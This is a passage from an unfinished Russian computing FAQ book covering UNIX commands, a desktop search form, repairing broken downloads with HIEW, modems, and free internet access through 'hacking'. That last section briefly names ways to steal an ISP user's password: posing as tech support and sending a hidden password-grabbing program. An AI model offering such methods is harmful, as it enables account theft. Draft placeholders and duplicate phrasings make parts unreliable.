$ mkdir -p 1/2/3

$ ls

1

$ ls 1

2

$ ls 1/2

3

Кстати, обратите внимание, – в UNIX ключи задаются до имен файлов, иначе вместо ключа "-p" создастся директория с таким именем. Да, "mkdir" позволяет создать более одного каталога за вызов. Например:

$ mkdir 1 2 3

$ ls

1              2              3

Удалить ненужные каталоги поможет команда ‘rm’. По умолчанию удаляются одни файлы, а для уничтожения директорий необходимо задать дополнительный ключ ‘-d’. Если удаляемый каталог содержит вложенные директории, то начать удаление необходимо с самого «нижнего» из них или воспользоваться ключом ‘-r’, рекурсивно стирающим все без разбора. Так, для уничтожения созданных в предыдущем примере каталогов ‘/1/2/3’ можно воспользоваться следующими командами:



rm –d /1/2/3

rm –d /1/2

rm –d /1

Или обойтись всего одной:

rm –d –r /1

А для копирования файлов в UNIX предусмотрена утилита "cp" – аналог "copy" из MS-DOS. Например, скопировать "/etc/passwd" в свой собственный каталог можно командой: “cp /etc/passwd /home”, а просмотреть его содержимое поможет утилита "cat". Например:

$ cp /etc/passwd /home

$ cat /home/passwd

root:x:0:13:Built-in account for administering the computer/domain:/tmp:/usr/bin/ksh

telnetd:x:1:1:telnetd:/:/dev/null

Тут необходимо сделать небольшое пояснение. Изначально "cat" разрабатывалась для объединения нескольких файлов в один, но в качестве целевого файла использовался стандартный вывод, поэтому пользоваться утилитой приходилось приблизительно так “cat file1 file2 file3 > file123”. Знак “>” обрабатывался оболочкой, подменяющей стандартный вывод указанным файлом. Если же целевой файл не указывался, утилита последовательно выводила содержимое перечисленных файлов на экран.

Конечно, существуют и более элегантные способы просмотра содержимого файла и его редактирования. Например, редактор "vi" (от Visual Interface). Это классическая утилита UNIX может вызвать насмешку у пользователей MS-DOS/Windows, привыкших к визуальному редактированию, поскольку редактор "vi" управляется своим собственным командным языком, без знаний которого невозможно даже сохранить файл или выйти из vi!

Сначала это шокирует, но позже, освоившись с vi, начинаешь понимать насколько же оболванивает и ограничивает визуальный интерфейс. С другой стороны, edit.com не требует никакого обучения – сел и работай, а командный язык редактора vi можно изучать месяцами, в течение которых большую часть времени придется провести за листанием документации, с небольшими перерывами на собственно набивку текста.

Да, это так! Но при ближайшем рассмотрении недостатки оборачиваются преимуществами. Командный язык несравненно гибче системы меню и значительно ускоряет редактирование текста, стоит лишь освоить его в совершенстве. Конечно, можно возразить "лучше за час добежать, чем за день долететь", – машинное время сегодня не так критично, как стремление максимально облегчить умственную деятельность пользователей.



Действительно, в UNIX существуют вполне привычные пользователям Windows редакторы, и выбор того или иного – личное дело каждого. Разумеется, при условии, что выбранный редактор установлен в системе. К сожалению, администраторы многих серверов не балуют своих пользователей разнообразием, тем более, когда предоставляют хостинг бесплатно. Теоретически возможно связаться с администратором и попросить установить ваш любимый редактор, но практически это оказывается сложнее изучения vi, который поставляется со всеми UNIX-совместимыми системами, и всегда доступен.

Поэтому минимальные навыки работы с редактором vi никогда не помешают, и как знать – может быть, через некоторое время он окажется вашим любимым редактором!

Для того чтобы пользоваться vi, вовсе не обязательно устанавливать на своем компьютере операционную систему UNIX или один из ее эмуляторов, – vi дал рождение многочисленным клонам, некоторые из которых успешно перенесены в среду Windows 9x/Windows NT и даже MS-DOS. Большую популярность завоевал vim, портированный на платформы Amiga, Atari, Mac System 7, UNIX, MS-DOS, Windows, словом практически для любого компьютера существует реализация vim. Остается добавить, что vim свободно распространяется вместе с исходными текстами и находится, например, на быстром германском ftp сервере – ftp://ftp.fu-berlin.de/misc/editors/vim.

Сразу же после запуска, vi будет выглядеть приблизительно так, как показано на рисунке 59 (в данном случае vi был запушен с параметром hello для создания нового файла).



Рисунок 60 Рисунок 054.bmp Внешний вид редактора vim – клона vi, запущенный в операционной системе Windows

Знаки "~" (тильда) указывают на конец файла и в действительности отсутствуют в его теле.

Если попытаться набрать текст "Hello, World!" на экране ничего не появится, а vi ответит разраженным покрикиванием. Дело в том, что у vi есть два режима – командный режим и режим вставки.

В командном режиме можно перемещать курсор по экрану, искать и заменять фрагменты текста, сохранять и загружать файлы с диска – словом командовать редактором, а режим вставки предназначен для ввода самого текста.



Сразу же после запуска vi оказывается в командном режиме и переключиться в режим вставки можно, например, нажатием клавиши <i>. Дождавшись появления курсора вверху экрана, наберите восклицание "Hello, Word!" или что-нибудь в этом духе, а затем попробуйте сохранить файл на диск. Для этого нажмите клавишу <Esc>, чтобы переключиться в командный режим, и наберите следующую последовательность <:>,<q>,<w>,<ENTER>.

Да… сложная вещь vi, но на самом деле настоящие сложности еще впереди! Загрузите только что созданный файла в редактор, указав его имя в командной строке, и попробуйте отредактировать строку, например, измените "Hello, World!" на "Hello, my world!". Что, пытаетесь подвести курсор к месту правки, а стрелки не действуют? Хорошенькое начало, – чем же тогда управлять курсором?!

Не стоит волноваться понапрасну – раскладка клавиатуры обычно подбирается так, чтобы пользователи могли работать ни о чем не задумываясь, но все же иногда встречаются нерадивые администраторы, криво инсталлирующие vi на свою машину. Поэтому, на всякий случай полезно знать, что клавиша <h> в командном режиме перемещает курсор на одну позицию влево, <l> - вправо, а <j> и <k> вниз и вверх соответственно.

Нажмите шесть раз клавишу <l> или воспользуйтесь комбинацией <6><l> (обычно цифра стоящая перед любой командой предписывает повторить эту команду надлежащие количество раз). Теперь наберите "my", автоматически раздвигая остальные символы, а для замены большую буквы "W" на строчечную войдите в командный режим по <Esc> и включите режим вставки символа, нажатием <r>. Или же используйте команду "~" (тильда) для инвертирования регистра символов.

Конечно, никто не и не утверждает, что пользоваться vi легко, но тягостные дни и месяцы обучения окупятся богатыми предоставляемыми возможностями, – vi поддерживает именованные буферы, макросы, обладает развитым механизмом шаблонного поиска, позволяет запускать команды оболочки, не выходя из редактора, словом, в умелых руках способен творить чудеса. Но эта книга не учебник по vi, поэтому, не задерживаясь на нем дальше, вернемся к освоению UNIX.



Продемонстрировать многозадачность UNIX поможет тот же vi – как быть, если, не выходя из редактора, потребуется выполнить какое-нибудь действие? В Windows достаточно щелкнуть мышкой по заголовку окна другой программы или нажать <Alt>-<Tab>, но разработчики UNIX пошли по другому пути.

Если нажать <Ctrl-Z>, выполнение текущего процесса приостановится, и произойдет выход в оболочку. Убедиться в том, что "vi" еще жив поможет команда "ps", отображающая список всех процессов в системе (процесс vi.exe выделен жирным шрифтом):

$ ps

PID TT        TIME COMMAND

148799 tty10        0 vi.exe

150872 tty10        0 ps.exe

320924 tty10        0 ksh.exe

Слева показаны идентификаторы процессов. Зная идентификатор процесса, его можно "прибить" командной "kill" или запустить передним планом утилитой "fg". Например, так: "fg 148799" или так – "fg %1", где "%1" –порядковый номер процесса в списке. Независимо от способа запуска "fg", редактор vi вновь появится на экране. Нажмите еще раз <Ctrl-Z> и убийте процесс командной kill – "kill 148799" или "kill %1" – оба варианта хороши одинаково, но второй писать существенно короче.

А как поступить, если в vi требуется провести поиск сложного шаблона по всему тексту, выполняющийся неприлично длительный промежуток времени, в течение которого ничего не остается, как сидеть и тупо пялится на экран?

На помощь приходит фоновое выполнение задач, – понижение приоритета процесса, с предоставлением экрана другому приложению. Перевести приложение в фоновой режим поможет команда "bg", запускаемая точно так же как и "fg" (которая, кстати, пригодится для возращения процесса из фонового в нормальный режим). Большинство оболочек распознают символ "&", расположенный в конце командной строки, и автоматически запускают приложение в фоновом режиме. Например:

$ vi &

[1]     141008

$ ps

PID TT        TIME COMMAND

87458 tty10        0 ps.exe

141008 tty10        0 vi.exe

320924 tty10        0 ksh.exe

[1] + Stopped (SIGTTIN)        vi &

$

На этом краткое введение в UNIX можно считать законченным. Умения прогуляться по каталогам и запустить нужную программу для начала окажется вполне достаточно. Конечно, это не избавляет от необходимости приобретения справочных руководств и учебников по UNIX, но множество полезной информации можно найти и во встроенной справочной системе, доступной для просмотра с помощью утилиты "man".

Получить помощь по любой команде можно, указав ее название в командной строке, например, так "man ls"

Родственные вопросы:

Как из Windows сделать UNIX?

Что такое telnet и как с ним работать?


A: Как ускорить загрузку стартовой страницы поискового сервера, например, www.aport.ru?


Чем плохи поисковые сервера? Не в последнею очередь перегруженностью стартовой страницы - прежде чем окунуться в дремучую чащу запутанных ссылок приходится утомительно сидеть-дожидаться загрузки кучи совершенно не интересной на данный момент информации – баннеров, прогноза погоды, курсов валют, политических новостей и т.д. и т.п.

У "Апорта" стартовая страница, правда, не самая большая, и, в общем-то, не сильно злоупотребляющая банерами, но все же реклама раздражает, особенно на медленных каналах даже такая реклама очень сильно раздражает.

К тому же комфортным поиск ну никак не назовешь. Приходится постоянно прокручивать экран, чтобы отыскать форму ввода, и с досадой обнаруживать, что условия поиска в ней напрочь отсутствуют. А когда ищется что-то вроде ("Кремниевая долина" + история - архив - обозреватель) всякий раз вводить это заново через чур утомительно.

Тем более, какой им бы ни был хорошим "Апорт" ни хороший, – требуемого документа он может и не найти. Тогда Вот и придется отправляться восвояси к другому поисковику, а то еще и не к одному сразу.

И это на пороге нового тысячелетия? А где же автоматизация человеческого труда? Компьютер, если вспомнить, был на то и придуман, чтобы решать проблемы, а не создавать новые. Словом, текущее положение вещей нам не нравится, и мы, не дожидаясь милости от далеких забугорных фирм, хотим обеспечить свой комфорт самостоятельно.

Что нам для этого нужно? Всего лишь найти механизм взаимодействия с поисковой системой, и использовать его напрямую, минуя всякие там web-странички. Например, интегрировать поисковик с нашим "Рабочим Столом". А что? Неплохая идея - вот ей сейчас и займемся.

Было бы очень удобно, если бы в уголке рабочего стола сидела простая формочка, в которую стоит только ввести нужный фрагмент, а уж она сама облазит все сайты, обойдет и Черта и Бога, но нужный документ нам найдет.

Вообще-то это тривиальная задача, которую автор решил едва ли не в первые дни после подключения к Интернету. Каково же было его удивление, когда оказалось, что до такой простой штуки додумывались далеко не все его знакомые! Ну, что, приступим?


Немного теории для начала. Гипертекст, в его привычном для нас HTML-ом виде, искать ничего искать не способен. Там просто нет таких функций! Даже Java и VisualBASIC не помощники в таких операциях, поскольку Java-апплеты исполняются на вашей локальной машине и если бы они затребовали всю много гигабайтную базу поисковика, - конец света наступил бы раньше, чем она приползла по хлипкому диалапному соединению.

Поэтому, программу поиска приходится запускать на удаленной машине – самом поисковом сервере. В общих чертах запуск выглядит приблизительно так: http://ИмяХоста/ИмяСкрипта?параметры. Чтобы вызвать скрипт "напрямую" требуется всего лишь узнать имя скрипта и формат передачи параметров. Как это сделать?

Да очень просто! Стоит только дождаться окончания загрузки главной страницы "Апорта" (или другого поискового сервера) и в меню "Вид" выбирать пункт "В виде HTML". Остается лишь проанализировать HTML-код и найти место, в котором и происходит вызов скрипта с передачей параметров поиска.

Непосвященным в тонкости программирования гипертекста скажу, что в большинстве случаев для этого достаточно найти следующую последовательность "<form action=" Она, конечно, не единственно возможный вариант, но весьма популярный среди разработчиков, так что этот прием срабатывает достаточно часто.

Вот, смотрите, сработало и на этот раз!

<table cellpadding=0 cellspacing=0 width=700>

<form action=http://www.aport.ru/search.asp method=get name=form1>

Ага, чтобы обратиться к поисковому механизму напрямую, достаточно вызвать "search.asp" и передать ему в качестве параметра требуемые критерии поиска.

Например, попробуем найти всю доступную информацию о фирме Microsoft. Наберем для этого в строке браузера следующее: "http://www.aport.ru/search.asp?r=Microsoft", – пройдет совсем-совем немного времени и "Апорт", подумав, выдаст следующее:

Апорт нашел 1000 документов на 341 сайте



по запросу: Microsoft

Неплохо для начала, не так ли? Мы не только сэкономили чуточку времени, но и получили возможность без труда встраивать вызовы поискового механизма в свои странички. Как вам понравится следующее:

<BR>

<B>Интернет Кракер </B> вы можете скачать

<a href="http://www.aport.ru/search.asp?r=InterCrk"> здесь</a>

Точно так же можно обращаться и к другим поисковым серверам, а не только к одному "Апорту". Кстати, формат вызова скриптов с других поисковиков можно узнать на странице того же "Апорта".

Поисковик

URL скрипта

АльтаВиста

http://www.altavista.com/cgi-bin/query

Yahoo!

http://search.yahoo.com/bin/search

Lycos

http://www.lycos.com/cgi-bin/pursuit

Infoseek

http://infoseek.go.com/Titles

HotBot

http://www.hotbot.com

MSN

http://search.msn.com/results.asp

Таблица 4 путь к поисковым механизмам некоторых наиболее популярных поисковых серверов

Теперь покажем как поместить форму вызова "Апорта" на ваш "Рабочий Стол", – что бы не отрываясь от текущего положения дел, было бы можно просто ткнуть мышью в угол экрана, и быстро набить запрос, не отвлекаясь на всякие мелочи.

Вообще-то можно сохранить страницу "Апорта" на диске (см. "Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?") и без мучений перетянуть ее на "Рабочий Стол", с чем пятый Эксплорер справляется за раз. Да только вот страничка от "Апорта" (и остальных поисковиков) слишком громоздкая

{<<<<УБРАТЬ '
m'}

и на экране ее разместить ну никак не удастся.

Хорошо, уберем все лишнее, оставив лишь поле ввода и кнопку "Поиск". Должно получиться нечто вроде следующего:

Aport.htm

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<meta name="GENERATOR" content="KPNC's Forth to HTM converter">



<title>АПОРТ:</title>

</head>

<body  bgcolor="#FFFFFF"    text="#000000"      

link="#000099"       vlink="#666699"

alink="#0000FF"      topmargin="0">

<form action=http://www.aport.ru/search.asp method="get" name="form1">

<input type="text"   size="40"     name="r">

<input type="submit"        value="Search"       border="0">

</form>

</body>

</html>

На этом собственно и все. Остается только добавить на рабочий стол, "ЭкранàСвойстваàИнтернетàСоздатьàAport.htm" и она тут же появиться на нем!



Рисунок 45 Рис. image95 "Сырая" форма для поиска на активном Рабочем Столе

Изменим размеры формы, одновременно с этим растягивая ее в ширину. А после отбуксируем в любое место экрана по своему вкусу, так, что бы получилось нечто похожее на следующее:



Рисунок 46 Рис Image96 Окончательный вид формы для поиска на активном Рабочем Столе

Для проверки наберем критерий поиска, клацнем по кнопке "Search" и нажмем <Enter>. Если все было сделано правильно, то тут же откроется новое окно браузера и "Апорт" вывалит в него результаты поиска.

Заметим, что при этом критерии поиска не исчезли из нашей формы. И не потребуется никакого труда их изменить, например, следующим образом "Microsoft + "Билл Гейтс""

Просто? Удобно? А теперь попробуйте сделать так, что бы "Апорт" не открывал нового окна, выдавал ответ в специально отведенное для него место экрана.

Уверяю, что это доставит немалое удовольствие, да и комфорт работы повысит тоже. Активный рабочий стол это действительно революционное изобретение Microsoft., в чем вы еще не раз убедитесь.

Фактически вы можете самостоятельно спроектировать и создать среду общения, рассчитанную на ваши привычки и вкусы.

Например, выданный "Апортом" ответ можно дополнительно пропустить через Java скрипт или VBASIC скрипт, можно запоминать и кешировать предыдущие ответы "Апорта", да мало ли, что может вам взбрести в голову!

Так у автора работает бесхитростный скрипт, который по ключевым словам "живая камера" каждый раз ищет что-нибудь новое и случайным образом выводит одну из них в угол экрана. Вроде бы мелочь, а как умеет поднять настроение!

Родственные вопросы:

Как сохранить WEB-страницу на диск для ее просмотра в Off-Line? (следующий)


A: Как восстановить файл, некорректно принятый ReGet?


Менеджеры закачек очень популярны среди российских интернетчиков. Низкая скорость в купе с частными обрывами связи не оставляют никаких шансов скачать "тяжелый" файл за один раз. Но ведь не обязательно при очередном обрыве начинать скачивать файл с начала! Большинство серверов поддерживают позиционирование указателя текущей позиции чтения, позволяя в случае обрыва продолжить закачку с последнего прочитанного байта.

Однако, кроме обрывов связи и "падений трубки", случаются еще и сбои питания, привычные для всех зависания, от которых ReGet - популярный менеджер закачек – увы, не спасает. Если в момент "сливания" длинного файла неожиданный бросок напряжения приведет к выключению компьютера, "сливаемый" файл с большой степенью вероятности будет испорчен, – операционная система не успеет заполнить последний кластер, выделенный файлу, и в его хвосте окажется мусор! ReGet, не зная этого, продолжит закачку с последней позиции файла, "замуровав" "мусор" в его теле. Работать такой файл, разумеется, не будет.

Поэтому, после каждого сбоя (зависания, выключения питания) "мусорный хвост" приходится отрезать вручную. Для этой цели подходит утилита HIEW (Hacker's Viewer

– Хакерский Вьювер"), раздобыть последнюю версию которой можно у Сусликова Евгения – ее автора – sen@suslikov.kemerovo.su ss.

Загрузите "препарируемый" файл, указав его имя в командной строке, и, нажатием клавиши <F4> или <ENTER>, перейдите в hex-режим. Затем, с помощью "волшебной комбинации" <Ctrl-End> переместитесь в конец файла. Теперь необходимо отступить назад на величину кластера вашего диска (ее можно узнать, запустив программу проверки диска или заглянув в "свойства" диска) – нажмите <F5> и введите требуемое значение отступа в шестнадцатеричной нотации со знаком "минус". (Перевести десятичное число в шестнадцатеричное поможет калькулятор, встроенный в HIEW и вызываемый <All+'+'>). Переместившись на требуемую позицию, усеките файл комбинацией <F3>, <F10>. Теперь запустите ReGet, и он автоматически продолжит докачку с "безопасного" места.


Хуже, если требуется восстановить ранее скаченные файлы, содержащие мусор в середине. Сразу же возникают две проблемы – как определить где именно расположен мусор, и как заставить ReGet скачать фрагмент файла "от сих" – "до сих" для замены поверженного участка на новый?

Поиск сбойного фрагмента – самое сложное в операции восстановления. Отличить мусор от полезной информации, можно только зная структуру поверженного файла. С "текстовиками" никаких проблем нет – искомое место обнаруживаться визуальным просмотром, а вот как быть с остальными типами файлов? В результате серии экспериментов автором было установлено, что в мусоре присутствует по крайне мере одна регулярная структура – длинная цепочка из нескольких сотен нулей. Такая последовательность никогда не встречается в архивах и некоторых других типах файлов (например, pdf, rtf), поэтому она может служить своеобразной меткой – сигнатурой мусора. К сожалению, с другими форматами файлов дело обстоит сложнее, в частности, исполняемые файлы (в том числе и самораспакующиеся архивы) этими самыми нулевыми байтами могут быть напичканы под самую завязку – попробуй, разберись мусор это или нет!

Разберем для примера тривиальный случай. Допустим, при распаковке image4.zip (архив космических фотографий, взятый с http://stuma.simplenet.com/ds2000files/images4.zip) выдается ошибка извлечения файла "Inflating: EUROPA2.tif  PKUNZIP: (W15) Warning! file fails CRC check"

Загрузим поврежденный архив в HIEW и попытаемся отыскать цепочку, состоящую более чем из десяти следующих друг за другом нулевых байт (<F7>, <Tab>, "00 00 00 00 00 00 00 00 00 00"):

Опаньки! Взгляните, что мы обнаружили!

002E6460:  68 D3 C9 38-16 B2 52 1E-B5 3F D3 0E-94 71 AE E4

002E6470:  5F DE 79 9F-99 E1 CD F9-56 D0 6A AC-64 37 F0 2D

002E6480:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6490:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64A0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00



002E64B0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64C0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64D0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64E0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64F0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6500:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6510:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6520:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6530:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6540:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6550:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6560:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6570:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6580:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6590:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65A0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65B0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65C0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65D0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65E0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65F0:  00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6600:  10 A4 01 00-03 00 05 00-64 00 4C 8D-0C 01 00 01

002E6610:  00 06 00 CE-53 00 00 00-09 01 00 02-00 06 00 CB

Разумеется, крайне маловероятно, чтобы в архиве встретилась подобная последовательность (ведь архив это или что?). Вероятно, здесь-то и был застигнут ReGet врасплох сбоем питания или зависанием компьютера.

Подумаем, как можно наложить заплатку на "больное" место? Самое простое решение – обрезать искаженный файл немного выше начала цепочки нулей (вдруг сбой затронул и соседние участки?), запустить ReGet для докачки нескольких килобайт и дописать оставшийся от обрезания "хвост" в конец файла, чтобы не скачивать его заново из сети.



Рисунок 31 Рис. 0х026 Процедура восстановления поврежденного файла. Берем "больной" файл (1) – сбойный участок выделен красным ???, делаем его копию и отрезаем HIEW-ов чуть выше начала сбойного фрагмента (2), запускаем ReGet, чтобы он докачал столько килобайт, сколько составлял сбойный фрагмент плюс небольшой запас (3) – докаченный фрагмент выделен сплошной заливкой; дописываем неповрежденный хвост поврежденного файла к только что полученному (4) и в результате всех этих махинцаий имеем нормальный работоспособный файл (5).



Звучит заманчиво, но как все это выглядит на практике? Для начала создадим резервную копию испорченного файла, для чего воспользуемся любой привычной оболочкой или же командой copy из MS-DOS "Copy image4.zip back.me"

Теперь смело урежем оригинальный файл, поднявшись немного выше начала сбойного фрагмента (в HIEW-е это осуществляется нажатием <F3>, <F10>). Запускаем ReGet и терпеливо ждем пока десяток-другой килобайт не упадут на наш жесткий диск (ждать, очевидно, придется недолго).

Для определения границ сбоя и уверенности, что мы их гарантированно миновали, выполним побайтовое сравнение старого и нового файлов утилитой MS-DOS fc.exe: "Fc image4.zip back.me /b > log.txt". Заглянем в полученный файл log.txt

Сравнение файлов images4.zip

и back.me

002E6480: 33 00

002E6481: AA 00

002E6482: 31 00

002E6483: 0F 00

002E6484: FD 00

002E6485: EB 00

002E6486: D9 00

: : :

002E6607: 84 00

002E65F8: FB 00

002E65F9: 72 00

002E65FE9 00

002E65FB: 60 00

002E65FC: D7 00

002E65FD: 4E 00

002E65FE: C5 00

002E65FF: 3C 00

002E6600: C3 10

002E6601: CE A4

002E6602: A2 01

002E6603: 18 00

002E6604: 92 03

002E6605: 06 00

002E6606: 82 05

; ^^^^^^^ - последний байт сбоя

Оказывается, сбойный участок начинается с первого нулевого байта (байты, лежащие выше, совпадают в новой и старой версии), но вот за концом нулей находится некоторое количество искаженных байт, последний из которых расположен по смещению 0x2E6606.

Теперь остается дописать остаток "хвоста", взятого из резервной копии файла, что без труда можно сделать с помощью того же HIEW. Откроем резервный файл и переведем курсор на байт по смещению 0x236607 (<F5>, "236607") и, нажав звездочку на цифровой клавиатуре, выделим блок до конца файла. Затем еще раз звездочку для завершения выделения и <F2> для записи "хвоста" в укороченный файл.

Попробуем его распаковать: о, чудо! Это сработало! Простыми операциями нам удалось сэкономить уйму времени (и денег, кстати, тоже).

Конечно, ничего этого не потребовалось бы, будь ReGet устойчив к сбоям по питанию (как, например, GetRight – который всегда отрезает несколько килобайт от хвоста файла после каждого обрыва). Но, как знать, быть может, в следующих версиях это и будет исправлено?

Родственные вопросы:

Необходимо скачать большой файл, но соединение постоянно рвется, а сервер не поддерживает "докачки"… (следующий)

Попытка скачать с WEB-сервера файл моим любимым "качальщиком" заканчивается провалом – сервер "ругается" и не "отдает" файл. В то же время, через браузер все работает нормально, но, естественно, без докачки. Почему так?


A:Как выбрать модем по руке?


Модемы, – какие же они все одинаковые и в то же время непохожие друг на друга! У каждого из них свой "нрав", и свои, отличные от других, особенности поведения. Словно и впрямь модем – мужчина, а телефонная линия – женщина и полюбить слюбиться им друг друга с первого взгляда им удается далеко не всегда, если вообще удается.

– Бывает, мучаешься-мучаешься с настройками дорогого модема, а он не хочет работать и все. Сменишь на более дешевый – разгоняется так, что дым из ушей валит.

??? Рисунок "карикатура" обыграть предыдущий абзац

Так какой же все таки выбрать? Увы, даже если отчетливо представляешь, что тебе нужно, зачастую делаешь выбор вслепую, поскольку продавец не может толком объяснить чем конкретно отличается один модем от другого и насколько хорошо каждый из них справляется с такими-то и такими-то искажениями. Какие именно параметры линии \ соединения может измерять модем (это очень важно для ручной настройки на конкретную линию – в самом деле, не действовать же в слепую или тащить домой целый комплекс измерительной аппаратуры) и насколько он гибок в настройке?

Ниже приведено максимально подробное описание трех, может быть и не самых популярных моделей, но хорошо знакомых автору по личному опыту эксплуатации.  наиболее популярных на сегодняшний день модемов: Это: ACORP 56K, 3Com US Robotics Courier V. Everything и ZyXEL OMNI 56K Pro.



A:Как взломать Интернет (т.е. получить бесплатный доступ)?


"Как взломать Интернет" – слышится буквально во всех конференциях прямо или косвенно связанных с взломом, коммуникациями и сетями. Вопрос технически некорректен, ибо если уж и ломать, то не Интернет – совокупность узлов, связанных друг с другом, – а защиту от несанкционированного доступа конкретного узла (применительно к бесплатному доступу – узла провайдера). Защиты же сильно варьируются от узла к узлу, поэтому никакого универсального способа взлома "всего Интернет" не существует.

Даже если бы некий гениальный хакер и придумал такой способ – не долго бы он оставался актуальным! Разработчики систем защиты не даром свой хлеб едят и на появление новых атак отвечают "заплатками", затыкающими ту или иную лазейку. Разумеется, и у хакеров, и у экспертов по безопасности всегда припрятаны "тузы в рукавах" – невиданные доселе трюки о которых никто не знает, потому и не может защититься, да и оперативность выпуска заплаток порой хромает – бывает, проходят годы, а "дырка" все не затыкается – то ли внимания на нее не обращают, то ли времени не хватает, то ли жаренный петух в известное место еще не клюнул! К тому же, сплошь и рядом встречаются нерадивые администраторы, начисто игнорирующие наличие хакеров и халатно относящиеся к собственной безопасности. Взломать таких даже новичку – раз плюнуть. И ведь ломают же, – судя по сообщениям прессы.

???? Рисунок "карикатура" Посреди океана стоит корабль. Корабль течет. На течи накладывают закладки.

Все это говорит о принципиальной возможности

сетевых атак, но отсюда отнюдь не вытекает существование некого универсального автоматического взломщика. "Как это не вытекает" – удивится иной читатель – "Существуют же автоматизированные средства для поиска уязвимости, например, тот же SATAN (не к ночи он будет упомянут)!".

Существовать-то они, может быть, и существуют, да вот проку с них, как с козла известно чего. Упомянутый SATAN свободно доступен в сети {>>>> сноска http://www.fish.com/~zen/satan/satan.html}, но безнадежно устарел не на один ледниковый период и совершенно бесполезен – именно в силу своей массовой распространенности. Дыры, которые он ищет, не заткнул только самый зауханный администратор. (Тем более, он, строго говоря, ищет не дыры, а потенциальную возможность существования дыры в данном месте).


Все действительно стоящие средства, например RealSecure, распространяются на коммерческой основе и стоят тысячи, а то и десятки тысяч долларов. Они действительно в самом деле позволяют автоматически атаковать даже недурно защищенную сеть, но совершенно недоступны рядовому злоумышленнику, причем не только по причине дороговизны, но и своей чрезмерной сложности – миллионы настроек и тысячи страниц убористой документации – а ну, попробуй-ка, во всем это разберись!

Утилиты, носящие громкое название "взломщик Internet", достаточно широко распространившиеся за последнее время по сети, на самом деле представляют собой зловредные программы в лучшем случае выводящие на экран издевательское послание, а в худшем уничтожающие информацию с жесткого диска – так их создатели, "санитары компьютерного леса" наказывают всех любителей халявы.

Однако не стоит путать "взломщиков Internet" c, так называемыми, эксплоитами – программными реализациями одной или нескольких конкретных атак. Они действительно существуют (см. сайт www.rootshell.com) и даже, случается, работают, но спустя какое-то время безнадежно устаревают.

Впрочем, новые дырки обнаруживаются с завидной регулярностью (см. http://www.security.nnov.ru), а их поток все растет и растет – естественно ж, – программное обеспечение постоянно усложняется и риск допустить ошибку становится все больше и больше. Поэтому в любой момент времени любой узел сети потенциально уязвим.

Можно, не дожидаясь готовых эксплоитов, искать уязвимости самостоятельно. Этому посвящено множество книг, в том числе и "Атака из Интернет" Ильи Медведовского, "Секреты Хакеров" Стьюатра Маккье, "Техника сетевых атак – приемы противодействия" Криса Касперски, "Техника и философия хакерских атак" его же и масса другой литераторы. Однако всеми авторами предполагается, что временное или постоянное соединение с Интернет у читателя уже имеется.

Основных способы атаки на провайдера это – похищение пароля у легального пользователя и перехват сессии аутентификации (т.е. "подсматривание" пароля в процессе его передачи на сервер при входе в сеть).



Похищение пароля – процесс творческий. Можно позвонить пользователю от имени службы технической поддержки (вариант – написать письмо) и под благовидным предлогом потребовать пароль на бочку; можно послать пользователю хитрую программку, под шумок вытаскивающую пароль с его компьютера, а можно… да много чего еще! Доверчивых людей очень много и ввести их в заблуждение ничего не стоит. Продолжая развивать мысль дальше – можно украсть много-много денег и на них купить доступ в Интернет.

Перехват сеанса аутентификации пользователя на сервере провайдера – в принципе возможен, но требует специальных технических средств, способных перехватывать модемное соединение – обычные модемы на такое не способы, а понадобится специальное оборудование, намного превышающее в стоимости "самый лучший Интернет", но… что только не придумают народные умельцы, лишь бы за Интернет не платить! (см. "Могут ли злоумышленники подключится к телефонной линии и перехватить мой трафик с провайдером?")

Тенденция к удешевлению сетевых услуг (в ряде случаев стоимость ночного времени просто до смешного низка) обещает уменьшить актуальность проблемы "взлома Интернет", поскольку скоро (ну почти скоро) появится возможность использовать его бесплатно или практически бесплатно.

Родственные вопросы:

Что такое заплатки и как их устанавливать?

Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Могут ли злоумышленники подключится к телефонной линии и перехватить мой трафик с провайдером?


A: Как защитится от вирусов, полученных из Интернет?


Проводя параллель между вирусами биологическими и вирусами компьютерными, можно заключить: причина практически всех болезней – несоблюдение элементарных гигиенических требований и неразборчивость в выборе партнеров. Типичный компьютерный пользователь похож на маленького ребенка все без разбору тянущего в рот. Если не вирус, так расстройство желудка себя не заставит ждать.

??? рисунок "карикатура" Ребенок тянем в рот всякий мусор. Картинка вторая – ребенок лежит кверху лапами со вздутым животом (вариант – сидит на горшке)

